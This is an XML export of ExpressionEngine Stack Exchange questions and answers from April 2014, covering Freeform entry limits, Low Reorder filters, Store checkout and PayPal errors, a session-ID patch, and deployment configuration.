  <row Id="20966" PostTypeId="2" ParentId="20907" CreationDate="2014-04-03T13:24:22.000" Score="1" Body="&lt;p&gt;The User Message templates are the native behavior of EE, but there are some addons that you can use to work around them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 3rd party addon like Free Member &lt;a href=&quot;https://github.com/expressodev/freemember&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/freemember&lt;/a&gt; can display errors like required fields inline to avoid EE's user message templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that if there is a specific message you are trying to avoid from another form submission there's likely an addon that can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to check out this the Custom System Messages Addon &lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/custom-system-messages&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2014-04-03T13:24:22.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20967" PostTypeId="2" ParentId="20927" CreationDate="2014-04-03T15:08:58.947" Score="1" Body="&lt;p&gt;This is a regression bug for EE 2.5.x and we are working on another release that will fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to patch it yourself in the mean time, replace the get_session_id function in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./system/expressionengine/third_party/freeform/addon_builder/addon_builder.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(around line 4290) with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function get_session_id()&#xA;{&#xA;    if ( ! isset(ee()-&amp;gt;session) || ! is_object(ee()-&amp;gt;session))&#xA;    {&#xA;        $s = 0;&#xA;    }&#xA;    //EE 2.8+&#xA;    else if (version_compare($this-&amp;gt;ee_version, '2.8', '&amp;gt;='))&#xA;    {&#xA;        $s = ee()-&amp;gt;session-&amp;gt;session_id();&#xA;    }&#xA;    //EE 2.7.x and below&#xA;    else&#xA;    {&#xA;        $admin_session_type = ee()-&amp;gt;config-&amp;gt;item('admin_session_type');&#xA;&#xA;        if (&#xA;            $admin_session_type == 's' &amp;amp;&amp;amp;&#xA;            isset(ee()-&amp;gt;session-&amp;gt;userdata['session_id'])&#xA;        )&#xA;        {&#xA;            $s = ee()-&amp;gt;session-&amp;gt;userdata['session_id'];&#xA;        }&#xA;&#xA;        else if (&#xA;            $admin_session_type == 'cs' &amp;amp;&amp;amp;&#xA;            isset(ee()-&amp;gt;session-&amp;gt;userdata['fingerprint'])&#xA;        )&#xA;        {&#xA;            $s = ee()-&amp;gt;session-&amp;gt;userdata['fingerprint'];&#xA;        }&#xA;&#xA;        else&#xA;        {&#xA;            $s = 0;&#xA;        }&#xA;    }&#xA;&#xA;    return $s;&#xA;}&#xA;//END get_session_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-03T15:08:58.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20968" PostTypeId="1" AcceptedAnswerId="20991" CreationDate="2014-04-03T15:50:14.583" Score="2" ViewCount="1832" Body="&lt;p&gt;I am setting up Store using PayPal Express. I am using a sandbox account for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to check out and submit payment I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Payment has already been made for this InvoiceID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="150" LastEditDate="2014-04-05T02:04:56.737" LastActivityDate="2014-04-05T02:04:56.737" Title="PayPal Express &amp; Store: Payment has already been made for this InvoiceID" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20970" PostTypeId="2" ParentId="20957" CreationDate="2014-04-03T16:59:48.970" Score="1" Body="&lt;p&gt;Yeah this is pretty standard functionality.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new parcel&lt;/li&gt;&#xA;&lt;li&gt;Your To Email would be &lt;code&gt;{member:email}&lt;/code&gt;, which grabs the email of the entry's author&lt;/li&gt;&#xA;&lt;li&gt;Set the entry trigger to &quot;Edit&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot to be 100% clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ZKYz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-04-03T16:59:48.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20972" PostTypeId="2" ParentId="20896" CreationDate="2014-04-03T17:55:20.427" Score="1" Body="&lt;p&gt;Based on directions from Ian (thanks!) I have finally got solution to my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To obtain first price (or all) for product modifiers I have used code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $prices = array(); ?&amp;gt;&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            {if price_mod_val}&amp;lt;?php $prices[] = {price_mod_val}; ?&amp;gt; {/if}&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA; {/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then Pinterest OpenGraph part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(!empty($prices)) {?&amp;gt;&#xA;&amp;lt;meta property=&quot;og:price:amount&quot; content=&quot;&amp;lt;?php $price = number_format($prices[0], 2, '.', ''); echo $price; ?&amp;gt;&quot; /&amp;gt;    &#xA;&amp;lt;?php }&#xA;else { ?&amp;gt;&#xA;&amp;lt;meta property=&quot;og:price:amount&quot; content=&quot;{if product_details:price_val!=0}{product_details:price_val}{if:else}99.99{/if}&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have try to use jQuery &lt;code&gt;change&lt;/code&gt; to replace selected option price, but this works only when a visitor pin from that particular selection, but doesn't work when Pinterest will crawl back for price change/update. At that point I have stick only to primary (landing) product option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:stash:set_list name=&quot;price_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; parse_conditionals=&quot;yes&quot;}&#xA; {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}&#xA;    {modifiers}&#xA;        {modifier_options}&#xA;            {if price_mod_val}{stash:item_price}{price_mod_val}{/stash:item_price}{/if}&#xA;        {/modifier_options}&#xA;    {/modifiers}&#xA; {/exp:store:product}&#xA;{/exp:stash:set_list}   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and OpenGrap price for Stash version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;price_list&quot;}}&#xA;{exp:stash:get_list name=&quot;price_list&quot; limit=&quot;1&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;&amp;lt;meta property=&quot;og:price:amount&quot; content=&quot;{item_price}&quot; /&amp;gt;    &#xA;{/exp:stash:get_list}&#xA;{if:else}&#xA;&amp;lt;meta property=&quot;og:price:amount&quot; content=&quot;{product_details:price_val}&quot; /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-04-08T16:31:25.730" LastActivityDate="2014-04-08T16:31:25.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20974" PostTypeId="1" AcceptedAnswerId="20978" CreationDate="2014-04-03T18:27:25.887" Score="1" ViewCount="86" Body="&lt;p&gt;I'm using a Low Reorder set with a limited Statuses list in the filter settings, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VhL5L.png&quot; alt=&quot;Current and Current-Store by default&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but there is one page that I would like to use different statuses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries status=&quot;Current-Store|Store&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the status parameter is not overriding the default filter settings, despite not using the &lt;code&gt;force_set_params&lt;/code&gt; parameter at all.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2016-02-11T17:15:07.757" Title="Low Reorder not overriding the default filter settings" Tags="|low-reorder|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20975" PostTypeId="1" AcceptedAnswerId="21016" CreationDate="2014-04-03T19:10:37.843" Score="0" ViewCount="50" Body="&lt;p&gt;Does anybody knows what tags are used to get Emma integration with EE (&lt;a href=&quot;http://myemma.com/email-marketing-integrations/cms-email-integration/expression-engine&quot; rel=&quot;nofollow&quot;&gt;http://myemma.com/email-marketing-integrations/cms-email-integration/expression-engine&lt;/a&gt;) to work on templates? &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-04T20:40:19.470" Title="Integration with Emma" Tags="|add-on|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20976" PostTypeId="1" CreationDate="2014-04-03T19:40:14.267" Score="1" ViewCount="22" Body="&lt;p&gt;Looking at the Tracker Control Panel, is there any way to order the tables for Overall Statistics, Site Averages, or Entry Statistics? It seems intuitive to click the column heading for that, but that doesn't do anything.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-05-04T06:38:47.330" Title="Solspace Tracker - Any way to order results?" Tags="|solspace|solspace-tracker|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20977" PostTypeId="2" ParentId="20899" CreationDate="2014-04-03T20:00:26.597" Score="3" Body="&lt;p&gt;After a little research and a bit of asking around on forums, I found that GoDaddy shared servers were reading the contents of the Security.php file and treating it as malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got in touch with GoDaddy and I'm waiting on a response but this is another reason for me to take my hosting elsewhere...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/244598/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/244598/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2734" LastActivityDate="2014-04-03T20:00:26.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20978" PostTypeId="2" ParentId="20974" CreationDate="2014-04-03T20:21:32.700" Score="2" Body="&lt;p&gt;When you create a Low Reorder set, the entries get saved according to the set's filters. That means the entries in that set are limited to the entries that match the given filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to override any of the parameters set in the Set's filter in the Entries tag, those filters will therefore be applied &lt;em&gt;on top of&lt;/em&gt; the Set's entries. If you define a different status than the one given in the set, that won't match any of the Set's entries, because they didn't have that status in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you give additional parameters, they will be applied &lt;em&gt;after&lt;/em&gt; the set's filters (parameters) are applied; basically you're just &lt;em&gt;excluding&lt;/em&gt; other entries from the Set, which means the order of the entries can still be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to define &lt;em&gt;different&lt;/em&gt; parameters, new entries would apply, and Low Reorder has no way of knowing in which order those new entries should be displayed.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-04-03T20:21:32.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20979" PostTypeId="1" CreationDate="2014-04-03T20:27:06.497" Score="2" ViewCount="293" Body="&lt;p&gt;I'm trying to create a form that will only allow a maximum of 40 users to complete. After the form hits 40 entries, I would like to hide the fields and show a message (ie. &quot;This course has reached it's capacity and is now closed&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using FreeForms total_results in an {If} statement, but I can't seem to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Thoughts? Is it possible to do this? Thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries &#xA;                    form_name=&quot;camp_registration&quot;&#xA;                }&#xA;&#xA;                    {if freeform:no_results}&#xA;                        {exp:freeform:form&#xA;                            form_name=&quot;camp_registration&quot;&#xA;                            required=&quot;first_name|last_name|date_of_birth|email&quot;&#xA;                            }&#xA;                            test&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                                &amp;lt;label&amp;gt;{freeform:label:email} {if freeform:error:email}&amp;lt;span class=&quot;error&quot;&amp;gt; - Required&amp;lt;/span&amp;gt;{/if}&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                {freeform:field:email attr:class=&quot;form-control&quot;}&#xA;                            &amp;lt;/div&amp;gt;&#xA;&#xA;                            &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                                &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Register&amp;lt;/button&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        {/exp:freeform:form}&#xA;                    {/if}&#xA;&#xA;&#xA;                    {if freeform:count == 1}&#xA;&#xA;                        {if freeform:total_results &amp;lt; 40} /* I'm pretty sure this is where there's a problem */&#xA;&#xA;                            {exp:freeform:form&#xA;                                form_name=&quot;camp_registration&quot;&#xA;                                required=&quot;first_name|last_name|date_of_birth|email&quot;&#xA;                             }&#xA;&#xA;                                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                                    &amp;lt;label&amp;gt;{freeform:label:email} {if freeform:error:email}&amp;lt;span class=&quot;error&quot;&amp;gt; - Required&amp;lt;/span&amp;gt;{/if}&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                    {freeform:field:email attr:class=&quot;form-control&quot;}&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;form-group&quot;&amp;gt;&#xA;                                    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Register&amp;lt;/button&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                            {/exp:freeform:form}&#xA;&#xA;                        {/if}&#xA;&#xA;                        {if freeform:total_results &amp;gt;= 40}&#xA;                            &amp;lt;p&amp;gt;Sorry, maximum form entries allowed reached.&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;&#xA;                    {/if}&#xA;&#xA;                {/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="311" LastEditorUserId="311" LastEditDate="2014-04-04T17:03:01.773" LastActivityDate="2014-04-04T17:03:01.773" Title="Limit a FreeForm based on a maximum number of allowed entries?" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20980" PostTypeId="1" CreationDate="2014-04-03T20:42:02.563" Score="2" ViewCount="56" Body="&lt;p&gt;As deploy helper is currently not supported on the latest version of expression engine can anyone recommend a decent alternative. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across this one, but it hasn't been updated in 6 months so I'm a little unsure if it's supported.&#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/reelocate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just do a find and replace in my mysql file? In a code editor? with an owl! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Dave&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-04-03T21:15:59.507" Title="deploying version 2.8" Tags="|2.8|deployment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20981" PostTypeId="2" ParentId="20979" CreationDate="2014-04-03T20:49:08.973" Score="2" Body="&lt;p&gt;What I would try is move your form to an embedded template and in your main template put the following code which is using freeform:entries rather than freeform:form -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;    form_name=&quot;camp_registration&quot;&#xA;    limit=&quot;100&quot; &#xA;    } &#xA;&#xA;    {embed=&quot;template_group/_formname&quot; form_count=&quot;{freeform:total_results}&quot;}&#xA;&#xA;{/exp:freeform:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your embedded template where you have the conditional you can do a check on the value with {embed:form_count}&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-04-03T20:49:08.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20982" PostTypeId="2" ParentId="20980" CreationDate="2014-04-03T21:10:09.137" Score="4" Body="&lt;p&gt;I think you'll find switching to a multi-environment config file a more convenient alternative than using an add-on for updating paths after migration (eg dev to staging to production). The really nice thing about using config overrides this way is that there is usually zero configuration update needed when migrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One excellent, widely used and well-documented method is the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow noreferrer&quot;&gt;Focus Lab Master Config&lt;/a&gt;. Some other approaches are here in the EE Answers Stack Exchange post, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/450/config-bootstrap-options&quot;&gt;Config Bootstrap Options.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also roll your own. Here are some helpful resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eeinsider.com/articles/multi-server-setup-for-ee-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-server Setup for EE 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.tutsplus.com/tutorials/apply-the-dry-principle-to-build-websites-with-expressionengine-2--net-16848&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apply the DRY Principle to Build Websites With ExpressionEngine 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/ee-config-vars&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExpressionEngine Configuration Variables (on Devot:ee)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;System Configuration Overrides (official docs)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-04-03T21:15:59.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20984" PostTypeId="1" CreationDate="2014-04-04T03:03:03.317" Score="1" ViewCount="36" Body="&lt;p&gt;After upgrading to v2 we can no longer get passed the customer details section of this site &lt;a href=&quot;https://www.baileysfurniture.com&quot; rel=&quot;nofollow&quot;&gt;https://www.baileysfurniture.com&lt;/a&gt;. No errors at all. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2930" LastActivityDate="2014-04-04T07:34:13.357" Title="Cannot get passed customer details on checkout" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20986" PostTypeId="1" CreationDate="2014-04-04T06:07:18.133" Score="2" ViewCount="136" Body="&lt;p&gt;is there a hook when a member uses the forget password feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/index.html&quot; rel=&quot;nofollow&quot;&gt;hooks documentation&lt;/a&gt;, I don't see any hook in there that might do this.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-05-15T14:32:44.803" Title="is there a hook when a member resets it's password?" Tags="|hook|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20987" PostTypeId="2" ParentId="20979" CreationDate="2014-04-04T06:34:53.417" Score="3" Body="&lt;p&gt;Wrap your &lt;code&gt;{exp:freeform:form}&lt;/code&gt; with an &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag pair and use conditionals to determine if there are more than less than 40 entries for the form. If there are less, present the form, if not, show a message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries /* your other parameters */}&#xA;&#xA;  {if freeform:no_results}&#xA;     {exp:freeform:form /* your other parameters */}&#xA;        // Your form code. This will show up if there are no form entries yet.&#xA;     {/exp:freeform:form}&#xA;  {/if}&#xA;&#xA;  {if freeform:count == 1}&#xA;&#xA;    {if freeform:total_results &amp;lt; 40}&#xA;       {exp:freeform:form /* your other parameters */}&#xA;          // Your form code&#xA;       {/exp:freeform:form}&#xA;    {/if}&#xA;&#xA;    {if freeform:total_results &amp;gt;= 40}&#xA;       &amp;lt;p&amp;gt;Sorry, maximum form entries allowed reached.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;  {/if}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{if freeform:count == 1}&lt;/code&gt; conditional is to prevent the &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; tag from looping and displaying the same content multiple times.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-04T06:34:53.417" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20988" PostTypeId="2" ParentId="20976" CreationDate="2014-04-04T06:37:34.507" Score="1" Body="&lt;p&gt;Unfortunately, that isn't possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-04T06:37:34.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20989" PostTypeId="1" AcceptedAnswerId="21063" CreationDate="2014-04-04T06:49:26.397" Score="0" ViewCount="272" Body="&lt;p&gt;Quick question regarding whether anyone knows of any issues with installing EE on a server running the latest version of php (5.5.10 as I write this)? &lt;/p&gt;&#xA;" OwnerUserId="308" LastEditorUserId="422" LastEditDate="2014-04-07T21:45:41.257" LastActivityDate="2014-04-07T21:45:41.257" Title="Will EE work with php 5.5.10 okay?" Tags="|php|server|compatibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20990" PostTypeId="2" ParentId="20984" CreationDate="2014-04-04T07:34:13.357" Score="3" Body="&lt;p&gt;It's failing silently but it's most likely down to a missing or invalid field value somewhere in the checkout. If you remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from your &lt;code&gt;exp:store:checkout&lt;/code&gt; tag it will fall back to default EE error handling and you should be able to see specifics of what the cause of the problem is.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-04T07:34:13.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20991" PostTypeId="2" ParentId="20968" CreationDate="2014-04-04T07:46:30.803" Score="2" Body="&lt;p&gt;It sounds like for whatever reason you're passing a duplicate Order ID to Paypal when you try to make the purchase. If it's a development setup then it could be that in testing you've been making and deleting orders or moving databases which can sometimes cause a bit a few problems with database normalisation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store will always look to auto increment the Order ID however so on a clean install you should never get this issue. If it persists and you're just running some tests then I'd try wiping the slate clean and starting afresh to ensure that old or inconsistent data isn't the cause of the issue.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-04T07:46:30.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20992" PostTypeId="1" AcceptedAnswerId="20996" CreationDate="2014-04-04T08:16:26.297" Score="0" ViewCount="94" Body="&lt;p&gt;Let's say I have Grid &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid &lt;code&gt;foo&lt;/code&gt; has three fields, &lt;code&gt;a&lt;/code&gt;,&lt;code&gt;b&lt;/code&gt;,&lt;code&gt;c&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to get all of them would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;some_channel&quot; ...}&#xA;  {foo}&#xA;       {a},{b},{c}&#xA;  {/foo}&#xA;{/exp:channel:entries}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I use the &lt;code&gt;search&lt;/code&gt; param for grids to filter out those fields where grid field &lt;code&gt;a&lt;/code&gt; is empty?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;code&gt;{foo search:=&quot;=not &quot;}&lt;/code&gt; but it did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-04-04T12:06:06.713" Title="Grid - Is there a way to filter out an empty value field?" Tags="|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20993" PostTypeId="1" CreationDate="2014-04-04T08:26:59.513" Score="0" ViewCount="49" Body="&lt;p&gt;Is there a way to show only files belonging to the current EE user in CKEDitor file browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, can I remove the delete option from the context menu in the CKEDitor file browser to prevent different users from deleting each others files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing both of those - is there an alternative that is better suited to multi-user use (i.e. one that fulfills my first option).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1851" LastActivityDate="2014-05-16T13:30:45.383" Title="Restrict file browsing in Wygwam / CKEditor" Tags="|wygwam|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20996" PostTypeId="2" ParentId="20992" CreationDate="2014-04-04T12:06:06.713" Score="2" Body="&lt;p&gt;If &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt; are columns then you should be able to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{foo search:a=&quot;not IS_EMPTY&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;foo&lt;/code&gt; is the name of your grid field, and &lt;code&gt;a&lt;/code&gt; is the column you're searching.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-04-04T12:06:06.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20998" PostTypeId="1" CreationDate="2014-04-04T13:55:58.487" Score="1" ViewCount="29" Body="&lt;p&gt;I use Solspace tags in my EE template to build a relationship with related articles. For another site, I now want to combine Solspace tags in my RSS template to build customized rss feeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this resource as well &lt;a href=&quot;http://ablognotlimited.com/index.php/articles/customizing-expressionengine-rss-template/&quot; rel=&quot;nofollow&quot;&gt;http://ablognotlimited.com/index.php/articles/customizing-expressionengine-rss-template/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for &quot;how-to&quot; insights before purchasing another instance of Solspace for another site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2932" LastActivityDate="2014-04-04T13:55:58.487" Title="Integrating Solspace &quot;tags&quot; to generate a RSS feed" Tags="|tags|rss|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20999" PostTypeId="2" ParentId="20975" CreationDate="2014-04-04T14:01:11.750" Score="0" Body="&lt;p&gt;There is an add-on for MyEmma integration (found &lt;a href=&quot;http://devot-ee.com/add-ons/myemma-integration&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;), but it is for EE 1.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can contact developer for porting it over to EE2, or do that yourself.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-04-04T14:01:11.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
